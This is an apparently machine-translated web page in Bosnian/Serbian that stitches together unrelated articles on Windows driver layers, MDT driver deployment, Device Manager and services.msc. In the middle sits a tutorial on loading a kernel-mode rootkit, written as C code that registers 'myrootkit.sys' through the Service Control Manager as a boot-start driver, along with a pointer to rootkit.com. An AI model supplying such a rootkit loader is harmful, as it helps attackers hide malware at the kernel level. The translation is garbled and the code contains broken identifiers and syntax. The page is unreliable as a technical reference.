Redoslijed učitavanja drajvera i usluga u Windows-u. Upravljanje drajverima uređaja Održavanje konfiguracije drajvera tokom Windows Imaging

Dom / Kvarovi

Pošto je Windows sistem koji obavlja više zadataka, to isključuje aplikativni programi takve slobode kao što su direktan pristup I/O portovima ili rukovanje hardverskim prekidima. Interakcija sa hardverom na niskom nivou može se izvesti samo sistemski programi radi u privilegovanom režimu. Drajveri uređaja ovdje igraju glavnu ulogu.

Windows koristi strukturu drajvera na više nivoa u kojoj drajveri visokog nivoa mogu da deluju kao filteri koji obavljaju posebnu obradu podataka primljenih od ili prosleđenih drajveru niskog nivoa. Primjer bi bio da se odvoji drajver koji upravlja sabirnicom od drajvera za specifične uređaje povezane na sabirnicu. Drugi primjer je drajver koji izvodi šifriranje/dešifriranje podataka kada radi sa NTFS sistemom datoteka. Struktura drajvera na svim nivoima podleže jedinstvenim standardima poznatim kao WDM (Windows DiverModel), međutim, drajveri visokog nivoa, za razliku od onih niskog nivoa, ne rukuju hardverskim prekidima.

Čudno je da u WindowsNT drajveri niskog nivoa još uvek nisu najniži nivo upravljanja uređajima. Još bliže hardveru leži takozvani HAL nivo (Hardware Abstractions Level). Njegova uloga je da sakrije od drugih OS modula, uključujući drajvere, neke detalje o radu sa hardverom, u zavisnosti od specifičnih magistrala, kao npr. matična ploča, način povezivanja. Na primjer, HAL omogućava drajverima mogućnost pristupa registrima uređaja prema njihovim logičkim brojevima bez da znaju da li je registar povezan na port procesora ili mapiranu memoriju.

Unatoč standardizaciji strukture, može se razlikovati nekoliko posebnih tipova drajvera, koji se razlikuju po funkcionalnosti.

    GDI (GraphicDeviceInterface) drajveri su drajveri visokog nivoa za grafičke uređaje (monitori, štampači, ploteri). Ovi upravljački programi prevode Windows grafičke pozive (kao što su "nacrtaj liniju", "područje popunjavanja", "daj tekst", "odaberi trenutni font, trenutnu olovku, trenutno popunu") u naredbe koje izvode odgovarajuće radnje na određeni uređaj. Izdavanje ovih komandi uređaju vrši drugi, niskorazinski drajver. Zahvaljujući prisutnosti GDI drajvera, isti program može izdati grafička slika on različitim uređajima. Odličan primjer za to je režim pregleda dostupan u raznim uređivačima, koji prikazuje stranice na ekranu tačno onako kako će biti odštampane.

    Drajveri tastature i miša, pored standardnih operacija drajvera, vrše dodatno opterećenje. Oni generišu poruke o događajima na odgovarajućem uređaju (pritisak i otpuštanje tastera, kretanje miša, pritisak i otpuštanje tastera miša) i smeštaju ih u sistemski red poruka. Sistem zatim svaku poruku prosljeđuje procesu koji je namijenjen za dalju obradu.

    Drajveri za virtuelizaciju uređaja (VxD drajveri) služe za dijeljenje uređaja između procesa, stvarajući iluziju da proces ima ekskluzivno vlasništvo nad uređajem. Zapravo, drajver organizira red zahtjeva iz procesa, prebacuje uređaj u način rada potreban za sljedeći proces, itd. Primjer bi bio drajver za virtuelizaciju monitora. Konzolna aplikacija (na primjer, MS-DOS program) radi sa cijelim ekranom u tekstualnom modu. Ali ako se takva aplikacija pokrene u Windows prozoru, tada VxD drajver simulira tekstualni mod u grafici. Da bi to uradio, vozač mora presresti pokušaje programa da direktno pristupi adresama video memorije i konvertuje koordinate poznatih lokacija u tekstualnom režimu u koordinate odgovarajućih pozicija u prozoru.

U prethodnom dijelu ove serije pogledali smo dva pristupa („pusti Windows da odluči“ i „pusti meni da odlučim“) koji se mogu koristiti za upravljanje vanjskim drajverima prilikom izvođenja Lite Touch instalacije koristeći MDT 2010. U ovom dijelu ćemo Zaključite razgovor o problemu upravljanja vozačima, evo nekoliko savjeta, trikova i priče. Prvu priču mi je dao jedan od naših čitalaca, Tim Lors, i odličan je vizuelni primer problema na koje možete naići kada pokušavate da upravljate drajverima tokom instalacije:

"Prije više od godinu dana napisao sam softversku skriptu koja instalira sve drajvere na WinXP PC. Problem na koji sam naišao prilikom odabira drajvera nije bio povezan sa OS-om. To je bio neuspjeh proizvođača da pravilno implementira PnP između svojih inf datoteka drajvera i hardvera Sama po sebi Tačnije, inf datoteka je naznačila da je to najbolji drajver za određenog hardverski uređaj, kada, u stvari, ne radi sa takvim uređajem. Jedini način da pronađem odgovarajući drajver u tako teškoj situaciji bio je da uporedim identifikacione brojeve PnP hardvera sa listom poznatih problematičnih drajvera, i ako sam našao podudaranje, ručno sam odabrao odgovarajući vozač zasnovan na dodatnim kriterijumima "obično broj modela računara. Najčešći dodatni kriterijum potreban za izbor "pusti me da odlučim" bio je broj modela računara, ali ponekad je uključivao verziju BIOS-a i ID PnP podskupa, au nekim retkim slučajevima to je bio probni i greška Naravno, pokušaji i greške su prilično teški, jer kada je Windows instalirao drajver za koji je mislio da je najbolji, morao je da izoluje nefunkcionalni drajver od Windowsa, ili ga je sistem jednostavno ponovo instalirao. Imajte na umu da se ova situacija dogodila u okruženju koji sadrži skoro 10.000 računara više od 25 različitih modela.

Većina IT profesionalaca sa kojima sam razgovarao mi je rekla da su vozači jedna od najvećih glavobolja, a gornja priča to samo pokazuje. Dakle, nakon što sam posljednja četiri dijela posvetio ovoj temi, želim završiti raspravu o vozačima s nekoliko savjeta i trikova koji će vam olakšati život.

Potražite vozače

Prvi izazov je pronalaženje slobodnih drajvera koji bi vašim sistemima mogli biti potrebni. Neki proizvođači to olakšavaju, drugi ne, a Dell je u prvoj grupi jer pruža drajvere za svakoga desktop sistem u obliku .cab fajla za svaki operativni sistem. Da biste preuzeli ove .cab datoteke, idite na http://www.delltechcenter.com/ i izaberite Home, Microsoft, Microsoft System Center, SCCM " System Center Configuration Manager, Dell Business Client iz menija za pomeranje sa leve strane Operativni sistem Implementacija, Dell Business Client Operativni sistem implementacija " .CAB datoteke i vidjet ćete stranicu prikazanu na slici 1:

Slika 1: Preuzimanje drajvera za Dell klijentske sisteme kao .cab datoteke

Kada se .cab datoteka preuzme, možete je izdvojiti u fasciklu, a zatim uputiti na tu fasciklu prilikom uvoza drajvera u vaš instalacioni deo.

Drugi proizvođači takođe pružaju alate za preuzimanje drajvera, ali po mom mišljenju ovi alati nisu tako jednostavni ili praktični kao Dell-ov pristup. Evo nekoliko primjera takvih alata i linkova do njih:

Ekstrahiranje INF datoteka iz EXE

Ponekad proizvođači sistema pružaju drajvere uređaja u obliku .exe datoteka umjesto .cab datoteka. U ovom slučaju, odličan skup alata je WinRAR, koji vam omogućava da izvučete datoteke drajvera iz .exe datoteke u fasciklu. Zapamtite, da bi uvezli drajver, MDT zahtijeva .inf datoteku i odgovarajuće datoteke drajvera nije moguće uvesti .exe datoteku kao drajver.

Sprečavanje uključivanja vozača

Da biste spriječili da drajver koji ste uvezli bude omogućen (na primjer, ako vaši testovi pokažu da drajver uzrokuje probleme nakon instalacije), jednostavno otvorite svojstva drajvera i obrišite polje Omogući ovaj drajver (slika 2):

Slika 2: Možete onemogućiti ili dozvoliti da drajver bude omogućen

Imajte na umu da je gornji drajver dizajniran za 32 i 64 bit Windows verzije. Ako ustanovite da ne radi pod 64-bitnim Windowsom, možete ostaviti drajver uključen, ali poništiti x64, što će spriječiti njegovo omogućavanje tokom instalacije 64-bitnog Windowsa.

Ako želite, možete čak i onemogućiti sve drajvere u fascikli tako što ćete onemogućiti fasciklu (slika 3):

Slika 3: Možete onemogućiti prilagođeni folder u instalacionom resursu

Upravljanje drajverima za pokretanje pomoću profila za odabir

Takođe možete koristiti profile odabira za kontrolu vozača tokom faze Windows boot PE u LTI instalaciji. Da biste to učinili, otvorite svojstva svog instalacionog resursa i odaberite karticu Windows PE x64 komponente ili Windows PE x86 komponente za upravljanje drajverima za arhitekturu OS-a koji instalirate (slika 4):

Podrazumevano je izabran profil za odabir Svi drajveri i paketi, ali samo mrežni drajveri i drajveri uređaja za skladištenje iz ovog profila za odabir uključeni su u Windows PE boot sliku. Ako je potrebno, možete kreirati svoj vlastiti profil odabira koji će uključivati ​​WinPE hardver-specifične drajvere za vaše ciljne sisteme.

Upotreba više grupa drajvera za instalaciju prema marki i modelu

U prethodnom dijelu smo pogledali kako definirati jednu grupu drajvera pod nazivom DriverGroup001 i koristiti je za upravljanje drajverima tokom instalacije na osnovu marke i modela ciljnih računara. Keith Garner, specijalista za implementaciju sistema u Xtreme Consulting Group, ima odličan post koji daje više informacija o ovoj temi i pokazuje vam kako možete efikasnije organizirati upravljačke programe, a zatim koristiti više grupa drajvera za upravljanje načinom na koji su omogućeni tokom instalacije.

Još jedan koristan post je ovaj post o korištenju pseudonima modela, koji je napisao Michael Mergolo, viši konsultant u Microsoft Consulting Services.

Dodavanje drajvera na sliku

Možete koristiti komandu DISM.exe da dodate drajvere vanmrežnim slikama i koristite DISM komandu sa opcijom /add-driver (pogledajte za više informacija o korišćenju DISM.exe).

Da biste dodali drajvere u skladište drajvera (to jest, unapred predstavili drajvere tako da budu dostupni kada Windows identifikuje uređaje kojima su potrebni upravljački programi), možete koristiti komandu PnPutil.exe. Ova komanda može biti korisna ako ste, na primer, koristili Microsoft Update Catalog da preuzmete .cab datoteku drajvera štampača i želite da unapred predstavite te drajvere na vašem referentnom računaru kako bi ti drajveri bili dostupni tokom instalacije. Dodatne informacije o ovom timu možete pronaći i.

Održavanje konfiguracije drajvera tokom Windows Imaging

Konačno, ako kreirate glavnu sliku i instalirate je na identičan hardver, možete pružiti više brz način prvo pokretanje za korisnike konfigurisanjem parametara PersistAllDeviceInstalls u njihovoj datoteci odgovora za sysprepping njihovog referentnog računara. Pogledajte detalje

Uvod

Ovo opisuje programiranje usluga
u Windows OS (također ću koristiti termin
"usluga", što je ekvivalentno terminu "usluga"),
daje primjer upotrebe za
preuzimanje drajvera ili rootkita.

Usluge

Kada se OS pokrene, pokreće se upravitelj usluga (SCM).
Manager).Čitanje podataka iz registra (ime
usluga, način preuzimanja, tip drajvera, itd.),
sastavlja bazu podataka za upravljanje
usluge. Opisaću neke funkcije, sa
pomoću kojih možete upravljati uslugama.
Prvo morate stvoriti vezu s ovim
baza podataka (SCM baza podataka), zatim prijenos
indeks baze podataka za neke funkcije,
servis menadžeri.

Kao što sam rekao, prva stvar koju treba da uradite je
kreirajte vezu do SCM baze podataka. Za ovo
je funkcija OpenSCManager.

SC_HANDLE OpenSCManager(LPCTSTR lpMachineName, LPCTSTR
lpDatabaseName, DWORD dwDesiredAccess);

LPCTSTR lpMachineName - pokazivač na niz,
null-terminated, što ukazuje na ime
lokalni računar. Ova opcija
može se postaviti na NULL.

LPCTSTR lpDatabaseName - pokazivač na niz,
null-terminated, koji sadrži ime
baza podataka za otvaranje
također treba postaviti na NULL.

DWORD dwDesiredAccess - ovaj parametar sadrži
zastavice koje ukazuju na prava pristupa bazi podataka
podatke neću navesti sve zastavice
u ovom članku razmatram samo one
potrebne mogućnosti programiranja usluga
za preuzimanje rootkita.

SC_MANAGER_ALL_ACCESS - standardna prava pristupa bazi podataka.
SC_MANAGER_CONNECT - omogućava povezivanje sa SCM bazom podataka.
SC_MANAGER_CREATE_SERVICE - dozvoljava kreiranje novog
usluge.

Kreiranjem veze sa SCM bazom podataka, možete upravljati
usluge.

Za dobivanje se koristi funkcija OpenService
deskriptor usluge. Imajte na umu da ova funkcija nije
kreira uslugu, služi za kreiranje usluge
CreateService, ali otvara onaj koji je već kreiran
usluga.

SC_HANDLE OpenService(SC_HANDLE hSCManager, LPCTSTR
lpServiceName, DWORD dwDesiredAccess);

SC_HANDLE hSCManager - vraćena ručka
funkcija OpenSCManager.

LPCTSTR lpServiceName - naziv servisa za otvaranje.

DWORD dwDesiredAccess - prava s kojima možemo
otvorite uslugu. Evo nekih od njih:

SERVICE_ALL_ACCESS su standardna prava pristupa.
SERVICE_START - omogućava pokretanje usluge.
SERVICE_STOP - omogućava zaustavljanje usluge.

Ova funkcija vraća pokazivač
servis se otvara. Nakon što smo ga primili možemo
upravljati uslugom u skladu sa
data prava.

Ova funkcija je potrebna za kreiranje usluge.

SC_HANDLE CreateService(SC_HANDLE hSCManager, LPCTSTR
lpServiceName, LPCTSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType,
DWORD dwStartType, DWORD dwErrorControl, LPCTSTR lpBinaryPathName, LPCTSTR
lpLoadOrderGroup, LPDWORD lpdwTagId, LPCTSTR lpDependencies, LPCTSTR
lpServiceStartName, LPCTSTR lpPassword);

Prvi parametar (hSCManager) ukazuje na
pokazivač koji vraća funkcija OpenSCManager.
Sljedeća dva parametra pokazuju
linije koje sadrže naziv servisa koji se kreira i
ime koje treba koristiti
korisnički interfejs. Sledeći
parametar sadrži zastavice,
definisanje prava pristupa servisu. Evo
koriste se iste zastavice kao u funkciji
OpenService. U većini slučajeva će vam trebati
postavljanje ove zastavice na SERVICE_ALL_ACCESS. Parametar
dwServiceType određuje tip usluge koja se kreira
usluga. IN u ovom slučaju potrebno instalirati
to u SERVICE_KERNEL_DRIVER, što zauzvrat
znači da će usluga upravljati
drajver nivoa kernela. Druga značenja
znači da će to biti upravljački program za fajlove
sistemi itd. Parametar dwStartType je vrlo važan jer
definira kako se servis pokreće. U našoj
Ako je tako, trebalo bi ga instalirati
SERVICE_BOOT_START ili SERVICE_AUTO_START, što znači
praktično ista stvar - početak usluge u
vrijeme pokretanja samog operativnog sistema.
Parametar dwErrorControl specificira kako
rukovanje greškama koje se javljaju u našoj
U ovom slučaju, treba ga postaviti na SERVICE_ERROR_NORMAL.
Sljedeći parametar je lpBinaryPathName - pokazivač na
null-terminirani niz koji pokazuje na
puni put do drajvera (u našem slučaju
rootkit) kojim će upravljati servis.
Sljedeći parametri bi trebali biti
postavljeno na NULL, jer oni nisu bitni u ovome
slučaj.

Postoji funkcija za pokretanje usluge
StartService.

BOOL StartService(SC_HANDLE hService, DWORD
dwNumServiceArgs, LPCTSTR *lpServiceArgVectors);

SC_HANDLE hService - vraćena ručica usluge
funkcija CreateService ili OpenService. Parametar
dwNumServiceArgs sadrži broj parametara
navedeno u nizu lpServiceArgVectors. U ovome
niz specificira parametre koji
će biti prebačeno na servis. Imajte na umu da usluge
drajveri ne koriste ovaj parametar,
pa dva posljednji parametar u našem
U ovom slučaju, morate ga postaviti na NULL. Ako je funkcija
uspješno izvršeno, a zatim se vraća
vrijednost različita od nule. Funkcije za zaustavljanje
nema servisa, ali se njime lako može pisati
pomoću funkcije ControlService:

BOOL ControlService(SC_HANDLE hService, DWORD dwControl,
LPSERVICE_STATUS lpServiceStatus);

Parametar dwControl sadrži oznake koje koriste
koga pitate šta treba da se uradi
usluga. Ako treba da prestanete sa radom
servis, možete ga instalirati
SERVICE_CONTROL_STOP. Pomoću ove funkcije možete
pogodnije za zaustavljanje i pokretanje
usluga. Na primjer, da pauzirate uslugu,
postavite parametar dwControl na SERVICE_CONTROL_PAUSE i
za nastavak rada u SERVICE_CONTROL_CONTINUE.
Parametar lpServiceStatus je pokazivač na strukturu
SERVICE_STATUS, gdje se unosi trenutni status
usluge. Postavite ga na NULL ako vam nije potrebno
Važan je trenutni status usluge. Ovo
funkcija vraća vrijednost različitu od nule kada
uspješan završetak.

Naveo sam sve potrebne funkcije za
preuzimanje rootkita (drajvera).Za zatvaranje
DT SCM strukture koriste ovu funkciju
CloseServiceHandle. Ona uzima jedinu
parametar - DT SCM, tj. opis vraćen
funkcija OpenSCManager.

Sve ove funkcije su sasvim dovoljne za
preuzimanje i izvršavanje rootkita. Ispod sam
Navest ću primjer korištenja ovih funkcija.

#define rootkitname "myrootkit" //
postavite ime našeg rootkita

BOOL StopRootkit(SC_HANDLE hService) //
Najavljujemo
funkcije za zaustavljanje i pokretanje usluge

BOOL StartRootkit(SC_HANDLE hService)//
int main()
{
SC_HANDLE hManager,hService; //
deskriptori
SCM baze podataka i servisi

LPVTSTR rootkpath="C:\myrootkit.sys"; //

pun put do našeg rootkita

hManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //
mi stvaramo
povezivanje sa SCM bazom podataka

if (hManager) // ako je sve u redu
{

hService=CreateService(hManager, rootkitname,rootkitname,SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_BOOT_START, SERVICE_ERROR_NORMAL, \rootkpath,
NULL,NULL,NULL, NULL,NULL,NULL); // mi stvaramo
servis koji upravlja našim rootkitom

if (hService) // je li sve u redu?
{
StartService(hService,NULL,NULL); //
lansirati
kreirali servis, čime smo pokrenuli naš
rootkit

}

if (StopRootkit(hService)) // Ako
zaustavljanje je bilo uspješno,

{
StartRootkit(hService);//
pa opet
hajde da ga pokrenemo

};
CloseServiceHandle(hManager); //
zatvori
DT SCM (DB SCM).

}
BOOL StopRootkit(SC_HANDLE hService)
{
BOOL ok=true;
if(hService)
{
ok=ControlService(hService,SERVICE_CONROL_STOP,NULL); //
poziv
funkcija ControlService sa oznakom SERVCE_CONTROL_STOP, dakle

if (!ok) // većina zaustavljanja
rad servisa

{
ok=false;
};
};
povratak ok;
}

BOOL StartRootkit(SC_HANDLE hService)
{
BOOL ok=true;
if(hService)
{
ok=ControlService(hService,SERVICE_CONTROL_START,NULL); // poziv
funkcija ControlService sa oznakom SERVCE_CONTROL_START, dakle

if (!ok) //s Prvi put kada pokrenete uslugu
{
ok=false;
};
};
povratak ok;
}

Ovaj primjer samo pokazuje na šta mislim
napisao gore. Možete dodati
dodatne provjere za
sprečavanje mogućih grešaka.

Savjetujem vam da pročitate Svenovu knjigu
Schreiber („Nedokumentirano
karakteristike Windows 2000") odeljak posvećen
programiranje drajvera. Također
Preporučujem seriju članaka iz Four-F posvećenih
kreiranje drajvera u Windows NT-u. Pogledaj
članak od Ms-Rem, "Presretanje API funkcija u Windows NT-u
(3. dio). Nulti prsten." I nemojte proći
prošlost rootkit.com.

Postoji nekoliko alata za upravljanje uređajima i njima povezanim drajverima: Device Manager, Devices and Printers, Device Stage™ i Pnputil, koji se pokreće sa komandna linija sa povišenim privilegijama.

Upravljač uređajima je dostupan u svim kategorijama stavki kontrolne table i pomaže vam da instalirate i ažurirate drajvere za hardverske uređaje, promenite hardverske postavke za te uređaje i rešite probleme.
U upravitelju uređaja možete izvršiti sljedeće zadatke:

  • Pogledajte listu instaliranih uređaja
  • Uklonite uređaj
  • Omogućite ili onemogućite uređaj
  • Riješite probleme na svom uređaju
  • Ažurirajte drajver uređaja
  • Vratite drajver.

Status uređaja pokazuje da li ima instalirani drajveri i da li Windows može komunicirati sa ovim uređajem. Da vidite status uređaja:

  1. Kliknite desni klik miša na uređaju i odaberite naredbu "Svojstva".
  2. Idite na karticu Općenito i u području statusa pogledajte opis trenutnog statusa uređaja.

Koristeći Device Manager, možete upravljati uređajima samo na svom lokalnom računaru.

Uređaji i štampači.

Kategorija "Uređaji i štampači" na kontrolnoj tabli takođe nudi dodatna prilika za upravljanje uređajima. Da biste olakšali složene zadatke konfiguracije, čarobnjak za konfiguraciju će vas voditi kroz cijeli proces instalacije. Windows 7 prepoznaje nove uređaje i pokušava automatski preuzeti i instalirati sve drajvere potrebne za taj uređaj.

Uređaji koji se pojavljuju u odeljku Uređaji i štampači su obično eksternih uređaja, koji povezujete ili prekidate vezu sa računarom preko porta ili mrežne veze.

U odeljku „Uređaji i štampači“ prikazuje se multifunkcionalni štampač, kojim se umesto pojedinačnim štampačem može upravljati kao jednim uređajem, skenerom ili faks uređajem. Svaka pojedinačna komponenta višenamenskog štampača se prikazuje i upravlja odvojeno u Device Manageru.

Device Stage

Device Stage korisnicima pruža novi način pristupa uređajima i dodatne opcije upravljati njima. Uređaji se pojavljuju na traci zadataka kao ikona fotografije. Ova ikona na traci zadataka može pružiti brz pristup na opšte zadatke uređaja; Indikatori statusa koji omogućavaju korisnicima da brzo razumiju status baterije, status vremena uređaja, preostali kapacitet, linkove za korisnički priručnik, dodatne aplikacije, informacijsku zajednicu i pomoć, ili dodatne proizvode i usluge.

    Za upravljanje uslugama u Windows-u koristite sljedeća sredstva:
  • Snap-in services.msc je najpogodniji alat za upravljanje uslugama;
  • Program msconfig.exe - pored upravljanja uslugama, omogućava vam i kontrolu pokretanja Windows-a (pogledajte poglavlje Korisni Windows 7 uslužni programi);
  • Naredbe net i sc se koriste za upravljanje uslugama iz komandne linije. Kliknite na dugme Start, otkucajte services.msc i kliknite Enter ključ. Vidjet ćete dodatak za upravljanje uslugama.

Hajde da shvatimo kako upravljati uslugama. Dvaput kliknite na bilo koju uslugu - odaberite bilo koju, sada nas ne zanima nijedna konkretna usluga. Vidjet ćete prozor sa svojstvima usluge.


Kartica Općenito sadrži naziv usluge, opis usluge, naziv izvršne datoteke usluge i kontrolna dugmad usluge. Ovdje možete promijeniti tip pokretanja. Sa liste Tip pokretanja, možete odabrati jedan od tipova pokretanja usluge.

    Polje Status prikazuje trenutno stanje usluge:
  • Pokreće se - servis je pokrenut i radi trenutno;
  • Zaustavljen - usluga ne radi;
  • Suspended - usluga je pokrenuta, ali je trenutno obustavljena.
    Tasteri za kontrolu servisa:
  • Start - pokreće zaustavljenu (ili još nije pokrenutu) uslugu;
  • Stop - zaustavljanje usluge;
  • Suspendirati - pauzirati izvršenje usluge (ne podržavaju sve usluge pauziranje); Za nastavak pokretanja usluge koristite dugme Nastavi;
  • Nastavi - nastavi uslugu.

Nema potrebe još ništa mijenjati kako to ne bi negativno uticalo na vaš sistem. Bolje je otići na karticu Zavisnosti: tamo ćete saznati o kojim drugim uslugama ovisi ova usluga, a koje druge usluge o njoj.
Imajte na umu da ako druge usluge zavise od usluge, a vi zaustavite uslugu, sve zavisne usluge će također prestati raditi.

© 2024 ermake.ru -- O popravci računara - Informativni portal